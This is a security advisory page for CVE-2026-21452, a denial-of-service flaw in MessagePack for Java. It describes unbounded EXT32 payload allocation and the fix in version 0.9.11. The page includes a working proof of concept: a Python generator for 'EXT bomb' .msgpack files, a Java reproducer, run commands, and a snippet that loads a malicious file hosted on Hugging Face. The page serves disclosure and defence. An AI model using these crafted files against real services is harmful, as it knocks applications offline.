CVE-2026-21452: MessagePack-Java Vulnerable to Remote Denial of Service via Malicious .msgpack Model File Triggering Unbounded EXT Payload Allocation

Published Jan 2, 2026
·
Updated

Summary Affected Components: org.msgpack.core.MessageUnpacker.readPayload() org.msgpack.core.MessageUnpacker.unpackValue() org.msgpack.value.ExtensionValue.getData() A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

PoC import msgpack import struct import os

OUTPUTDIR = "bombs" os.makedirs(OUTPUTDIR, existok=True)

EXT format: fixext / ext8 / ext16 / ext32 ext32 allows attacker-controlled length (uint32)

length = 1 step = 10000000

while True: try: # EXT32: 0xC9 | length (4 bytes) | type (1 byte) header = b'\xC9' + struct.pack(">I", length) + b'\x01' payload = b'A' # actual data tiny

data = header + payload

fname = f"{OUTPUTDIR}/extlength{length}.msgpack" with open(fname, "wb") as f: f.write(data)

print(f"[+] Generated EXT bomb with declared length={length}") length += step

except Exception as e: print("[!] Stopped:", e) break Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer // Main.java import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ExtensionValue;

import java.nio.file.Files; import java.nio.file.Paths;

public class Main { public static void main(String[] args) throws Exception {

byte[] data = Files.readAllBytes( Paths.get("extlength470000001.msgpack") );

MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(data);

ExtensionValue ext = unpacker.unpackValue().asExtensionValue();

// Vulnerability trigger: byte[] payload = ext.getData();

System.out.println(payload.length); } }

Compile javac -cp msgpack-core-0.9.8.jar Main.java Run (with limited heap) java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main Observed Result: Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at org.msgpack.core.MessageUnpacker.readPayload(...) at org.msgpack.core.MessageUnpacker.unpackValue(...) var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/extlength470000001.msgpack"); var d = u.openStream().readAllBytes(); var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d); up.unpackValue().asExtensionValue().getData(); Run: java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.

Resolution This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11

Impact This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.

Other sources

MessagePack for Java is a serializer implementation for Java. A denial-of-service vulnerability exists in versions prior to 0.9.11 when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. The vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems. Version 0.9.11 fixes the vulnerability.

NVD

Affected Software

3 affected componentsFixes available
maven/org.msgpack/msgpack-core<0.9.11
maven/org.msgpack:msgpack-core<0.9.11
0.9.11
msgpack Messagepack Java=0.9.10

Event History

Jan 2, 2026
CVE Published
via MITRE·08:47 PM
Data Sourced
via MITRE·08:47 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyAffected Software
Jan 5, 2026
Advisory Published
via GitHub·02:59 PM
Data Sourced
via GitHub·02:59 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-21452?

CVE-2026-21452 is classified as a denial-of-service vulnerability.

2

How do I fix CVE-2026-21452?

To resolve CVE-2026-21452, upgrade to MessagePack for Java version 0.9.11 or later.

3

What versions are affected by CVE-2026-21452?

CVE-2026-21452 affects all versions of MessagePack for Java prior to 0.9.11.

4

What kind of attack is possible with CVE-2026-21452?

CVE-2026-21452 allows for denial-of-service attacks through deserializing .msgpack files with malicious EXT32 objects.

5

Is CVE-2026-21452 related to data integrity issues?

No, CVE-2026-21452 specifically pertains to denial-of-service vulnerabilities rather than data integrity.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203
CVE-2026-21452 - MessagePack-Java Vulnerable to Remote Denial of Service via Malicious .msgpack Model File Triggering Unbounded EXT Payload Allocation - SecAlerts